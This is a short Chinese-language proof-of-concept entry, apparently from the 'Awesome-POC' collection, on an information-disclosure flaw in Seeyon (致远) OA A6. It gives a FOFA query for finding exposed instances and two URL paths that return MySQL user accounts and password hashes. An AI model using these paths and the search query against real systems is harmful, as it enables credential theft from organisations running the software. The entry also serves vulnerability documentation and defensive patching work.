Awesome-POC/OA产品漏洞/致远OA A6 createMysql.jsp 数据库敏感信息泄露.md

# 致远OA A6 createMysql.jsp 数据库敏感信息泄露

## 漏洞描述

致远OA A6 存在数据库敏感信息泄露，攻击者可以通过访问特定的URL获取数据库账户以及密码 MD5

## 漏洞影响

```
致远OA A6
```

## FOFA

```
title="致远A8+协同管理软件.A6"
```

## 漏洞复现

当访问如下URL时执行了SQL语句 `select *from mysql.user;` 进行查询并返回到页面中

```
/yyoa/createMysql.jsp
/yyoa/ext/createMysql.jsp
```

![image-20220520152725777](./images/202205201527828.png)

![image-20220520152737237](./images/202205201527304.png)